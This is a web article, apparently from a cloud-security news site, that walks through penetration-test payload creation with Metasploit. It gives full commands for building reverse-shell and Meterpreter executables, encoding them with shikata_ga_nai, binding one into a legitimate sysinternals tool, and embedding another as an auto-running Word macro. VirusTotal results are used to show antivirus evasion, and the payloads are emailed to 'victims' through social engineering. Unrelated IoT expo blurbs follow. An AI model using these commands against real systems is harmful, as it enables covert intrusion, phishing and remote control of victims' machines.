Welcome!

Cloud Security Authors: Liz McMillan, Elizabeth White, Lisa Calkins, Pat Romanski, Mamoon Yunus

Related Topics: Cloud Security, Microservices Expo, Machine Learning , Apache

Cloud Security: Article

Performing a Penetration Test on a Customer’s Network

How to Hide a Malicious File from Virus Scanners

When performing a penetration test on a customer’s network by simulating an attack and trying to find a way inside many forget there is an easier way. Many networks have well established security protection through firewalls, Intrusion Detections/ Protections Systems that will alert to your presents. Performing a vulnerability scan using tools such as NeXpose, Nessus, nmap, etc will alert many systems. By performing some research on the target and learn what the company does you can narrow your attack. By using some social engineering you can email your payload to an inspecting victim at the company that will allow you to establish a foothold thereby allowing you to further exploit their network. This can be accomplished by using the Metasploit binary payloads with Shikata-ga_nai encoding scheme.

Metasploit Antivirus Bypass
When making plans to email or deliver your payload make sure it can evade detection by antivirus software. If your target gets alerted that something is not quite right then your payload will be compromised and not be delivered. Most antivirus software vendors use a signature base to identify types of malicious code. The antivirus software engine that runs on the client machine has this signature loaded and will be alerted when it finds a match such as quarantine the binary or kill the running process.

To avoid antivirus you can devise different payloads to run on systems protected by antivirus software that will not match the available signatures. To create stand-alone binaries use Metasploit msfpayload option and encode it with the msfencode option. Msfpayload allows you to generate shellcode, executables, and more for use outside the framework. To see a list of options use the msfpayload –h at the command line and to see a list of available shellcode to be customized for your specific exploit use the msfpayload -l. Msfencode allows you to help avoid bad characters and evade antivirus and IDSs by encoding the original payload in a way that does not include “bad” characters. To see a list of options use the msfencode –h at the command line. To view which encoders are available run the msfencode –l command.

# msfpayload –h

Help banner “options”

 

# msfpayload –l

Shows a number of different shell code that are available.

 

# msfencode –h

Help banner “shows available options”

 

# mdsfencode –l

Available encoders

Before we encode our payload to bypass antivirus detections we need to create a stand-alone binary with msfpayload. This requires us to create a simple reverse shell that connects back to us and spawn a command shell. If our target is a windows box then we can narrow down our list of available payloads with msfpayload –l |grep windows command. This will give us a list of payloads that are specific to windows operating systems. We are going to use the windows meterpreter reverse_tcp payload, see Figure #1.

Figure #1 # msfpayload –l grep windows

Now we selected the windows/meterpreter/reverse_tcp which will connect back to the attacker, inject the meterpreter server DLL via the reflective Dll injection payload (highlight in Figure #1). By using the command-line argument “O” with the payload we selected [windows/meterpreter/reverse_tcp], we get all the available configurable options (see Figure #2).

Figure #2 using the ‘O’ command-line argument to view configurable options

We can configure the three options with this payload:

EXITFUNC

Require

Default setting: process

LHOST

Required

The listen address (you)

LPORT

Required

Default setting: 4444

 

Now we need to create the executable with the following:

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 X /root/Desktop/evi1.exe

All that’s left is to deliver the executable to our victim, which requires some skill in itself to not be caught.

In order for us to take advantage of the victim running our executable we need to have a listener running on our attack machine. This is done with the msfcli which provides a powerful command-line interface to the framework. To view further options with the command use msfcli –h for a list. To listen for our victim running our executable use the following command within msfcli # msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 E

This will open up a listener on our machine over port 4444 and once our victim runs the executable we will have a meterpreter shell on the windows box, see Figure #3.

Figure #3 msfcli multi/handler options (above) & executing the listener (below)

Now we see how metasploit can deliver us a shell on a victim windows box, let’s try and avoid anti-virus with using the msfencode options. First lets go ahead and upload our the results from our previous example to virus total and see how many anti-virus vendors hit on our exploit (see Figure #3). There are many vendors that have hit on our exploit. Now we will use msfencode to try and get past our anti-virus vendors. This is done using raw output of msfpayload and pipe that as input to msfencode using the “shikata ga nai” encoder which translated means “nothing can be done” in Japanese, then it will output as a windows binary.

# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –e x86/shikata_ga_nai –t exe > /root/Desktop/evil.exe

This is using the msfpayload of ‘windows/shell_reverse_tcp’ and giving our ip address and port that we will be listening on and encoding with shikata_ga_nai. We can upload this executable to virus total and see how many anti-virus vendors hit on this (see Figure #4).

Figure #4 27 hits by anti-virus vendors

The results are not good and we have many hits by various anti-virus vendors, so the likelihood that our victim will not be alerted by anti-virus is slim to none. Let’s try another way. Some anti-virus vendors work on signature-based technology and our payload ‘shell_reverse_tcp’ shows up right away. We will use the msfpayload ‘windows/shell/reverse_tcp’ instead of ‘windows/shell_reverse_tcp’ and try and get by some of the AV vendors. (See Figure #4)

# msfpayload windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 R | msfencode –t exe –x /root/Desktop/pslist.exe –o /root/Desktop/pslist2.exe –e x86/shikata_ga_nai –c 10

 

Now this time with the msfencode we took an executable from the sysinternals site called pslist.exe and encoded 10 times with ‘shikata_ga_nai’. Now our payload is combined with the sysinternal tool pslist.exe and renamed pslist2.exe. Now when we upload this to virus total we have only improved our hits from 22 vendors recording our exploit to 21, an improvement but not much better (see Figure #5).

Figure #5 From 22 vendors showing finding it to 21 vendors

 

Symantec anti-virus was not alerted on both of our previous tries, a vendor that is used to protect the DoD environment. If we were able to get through our victims various layers of security and someone from the company happened to open our executable we need to have our listener running. Now let’s run our msfcli command to listen for our incoming connection.

# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.134 LPORT=4444 E (See Figure #6)

Figure #6 msfcli listening for a connection from our victim

Once our victim opens our executable we have a shell on our linux box with admin privileges on their windows box. The result will look similar to Figure #9.

VBScript Infection
Now trying to get a target to run your executable is very hard as many email servers will strip out executables. There is another way to deliver our payload by including it in a word document. Word documents are very commonly moved around by email and opened by many people. This would be a great attack vector to take advantage of. Metasploit has some built in methods to infect Word documents with malicious Metasploit payloads like the ones created above. We just need to incorporate them into our Word document. For us to complete this task we need to create a VBScript payload.

# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=4444 ENCODING=shikata_ga_nai X > evi1payload.exe

Now we need to convert this executable to a VBScript using a script found in the tools section of metasploit. Just copy our evi1payload.exe to the tools folder.

# cp /opt/framework3/msf3/evilpayload.exe /opt/framework3/msf3/tools

 

Inside the tools folder you will find a script called ‘exe2vba.rb’ and just issue the following command to convert our exe to a vbs.

# ruby exe2vba.rb evilpayload.exe evi1_payload.vbs

Now copy our evil_payload.vbs to a Windows machine that has Microsoft Word installed. Open up your evil_payload.vbs with notepad and open up a blank Microsoft Word document. In Microsoft Word go to tools, Macros, Visual Basic Editor for Microsoft Word 2003 or go to View Macros if you are using Microsoft Word 2010. Then copy the first portion of the evil_payload.vbs, from ‘Sub Auto_Open()’ to ‘End Sub’ and paste that into the Visual Basic Editor inside either Microsoft Word 2003 or 2007 (see Figure #7).

Figure #7 First portion of evi1_payload.vbs in Visual Basic Editor

Then copy the portion from ‘PAYLOAD DATA’ to the end into the body of the word document.

To verify that this word document can get past anti-virus vendor lets upload to Virus Total https://www.virustotal.com/index.html and see if it catches anything (see Figure #8).

Figure 8 Virus Total comes back with no hits.

It got completely by all anti-virus vendors. The only hard part will be getting the victim to open up the document. This can be accomplished several ways and I have written an article ‘Recon Tools’ in Admin issue #5 page 10 that goes into better detail about acquiring target information. Once you have delivered the Word document to your intended victim make sure you have the metasploit client listener up and running on your attack machine.

# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.245.134 LPORT=4444 E

(see Figure #9)

Figure #9 msfcli listener followed by the meterpreter shell

This is what the victim will see when they open the word document (see Figure #10).

Figure #10 What the victim will see once they open the Word document

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
Internet-of-Things discussions can end up either going down the consumer gadget rabbit hole or focused on the sort of data logging that industrial manufacturers have been doing forever. However, in fact, companies today are already using IoT data both to optimize their operational technology and to improve the experience of customer interactions in novel ways. In his session at @ThingsExpo, Gordon Haff, Red Hat Technology Evangelist, shared examples from a wide range of industries – including en...
Detecting internal user threats in the Big Data eco-system is challenging and cumbersome. Many organizations monitor internal usage of the Big Data eco-system using a set of alerts. This is not a scalable process given the increase in the number of alerts with the accelerating growth in data volume and user base. Organizations are increasingly leveraging machine learning to monitor only those data elements that are sensitive and critical, autonomously establish monitoring policies, and to detect...
"We're a cybersecurity firm that specializes in engineering security solutions both at the software and hardware level. Security cannot be an after-the-fact afterthought, which is what it's become," stated Richard Blech, Chief Executive Officer at Secure Channels, in this SYS-CON.tv interview at @ThingsExpo, held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA.
To get the most out of their data, successful companies are not focusing on queries and data lakes, they are actively integrating analytics into their operations with a data-first application development approach. Real-time adjustments to improve revenues, reduce costs, or mitigate risk rely on applications that minimize latency on a variety of data sources. Jack Norris reviews best practices to show how companies develop, deploy, and dynamically update these applications and how this data-first...
Intelligent Automation is now one of the key business imperatives for CIOs and CISOs impacting all areas of business today. In his session at 21st Cloud Expo, Brian Boeggeman, VP Alliances & Partnerships at Ayehu, will talk about how business value is created and delivered through intelligent automation to today’s enterprises. The open ecosystem platform approach toward Intelligent Automation that Ayehu delivers to the market is core to enabling the creation of the self-driving enterprise.
The question before companies today is not whether to become intelligent, it’s a question of how and how fast. The key is to adopt and deploy an intelligent application strategy while simultaneously preparing to scale that intelligence. In her session at 21st Cloud Expo, Sangeeta Chakraborty, Chief Customer Officer at Ayasdi, will provide a tactical framework to become a truly intelligent enterprise, including how to identify the right applications for AI, how to build a Center of Excellence to ...
SYS-CON Events announced today that Massive Networks will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Massive Networks mission is simple. To help your business operate seamlessly with fast, reliable, and secure internet and network solutions. Improve your customer's experience with outstanding connections to your cloud.
SYS-CON Events announced today that Datera, that offers a radically new data management architecture, has been named "Exhibitor" of SYS-CON's 21st International Cloud Expo ®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Datera is transforming the traditional datacenter model through modern cloud simplicity. The technology industry is at another major inflection point. The rise of mobile, the Internet of Things, data storage and Big...
Everything run by electricity will eventually be connected to the Internet. Get ahead of the Internet of Things revolution and join Akvelon expert and IoT industry leader, Sergey Grebnov, in his session at @ThingsExpo, for an educational dive into the world of managing your home, workplace and all the devices they contain with the power of machine-based AI and intelligent Bot services for a completely streamlined experience.
Because IoT devices are deployed in mission-critical environments more than ever before, it’s increasingly imperative they be truly smart. IoT sensors simply stockpiling data isn’t useful. IoT must be artificially and naturally intelligent in order to provide more value In his session at @ThingsExpo, John Crupi, Vice President and Engineering System Architect at Greenwave Systems, will discuss how IoT artificial intelligence (AI) can be carried out via edge analytics and machine learning techn...
In his session at @ThingsExpo, Arvind Radhakrishnen discussed how IoT offers new business models in banking and financial services organizations with the capability to revolutionize products, payments, channels, business processes and asset management built on strong architectural foundation. The following topics were covered: How IoT stands to impact various business parameters including customer experience, cost and risk management within BFS organizations.
SYS-CON Events announced today that CA Technologies has been named "Platinum Sponsor" of SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business - from apparel to energy - is being rewritten by software. From planning to development to management to security, CA creates software that fuels transformation for companies in the applic...
From 2013, NTT Communications has been providing cPaaS service, SkyWay. Its customer’s expectations for leveraging WebRTC technology are not only typical real-time communication use cases such as Web conference, remote education, but also IoT use cases such as remote camera monitoring, smart-glass, and robotic. Because of this, NTT Communications has numerous IoT business use-cases that its customers are developing on top of PaaS. WebRTC will lead IoT businesses to be more innovative and address...
SYS-CON Events announced today that CA Technologies has been named “Platinum Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business – from apparel to energy – is being rewritten by software. From planning to development to management to security, CA creates software that fuels transformation for companies in the applic...
Internet of @ThingsExpo, taking place October 31 - November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 21st Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world. The Internet of Things (IoT) is the most profound change in personal and enterprise IT since the creation of the Worldwide Web more than 20 years ago. All major researchers estimate there will be tens of billions devic...
WebRTC is great technology to build your own communication tools. It will be even more exciting experience it with advanced devices, such as a 360 Camera, 360 microphone, and a depth sensor camera. In his session at @ThingsExpo, Masashi Ganeko, a manager at INFOCOM Corporation, will introduce two experimental projects from his team and what they learned from them. "Shotoku Tamago" uses the robot audition software HARK to track speakers in 360 video of a remote party. "Virtual Teleport" uses a...
SYS-CON Events announced today that Calligo has been named “Bronze Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Calligo is an innovative cloud service provider offering mid-sized companies the highest levels of data privacy. Calligo offers unparalleled application performance guarantees, commercial flexibility and a personalized support service from its globally located cloud platform...
SYS-CON Events announced today that Elastifile will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 - Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Elastifile Cloud File System (ECFS) is software-defined data infrastructure designed for seamless and efficient management of dynamic workloads across heterogeneous environments. Elastifile provides the architecture needed to optimize your hybrid cloud environment, by facilitating efficient...
SYS-CON Events announced today that Cloudistics, an on-premises cloud computing company, has been named “Bronze Sponsor” of SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Launched in 2016, Cloudistics helps anyone bring the power of the cloud to the data center in an easy-to-use, on- premises cloud platform that automatically provides high performance resources for all types of applications: Docke...
SYS-CON Events announced today that Golden Gate University will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Since 1901, non-profit Golden Gate University (GGU) has been helping adults achieve their professional goals by providing high quality, practice-based undergraduate and graduate educational programs in law, taxation, business and related professions. Many of its courses are taug...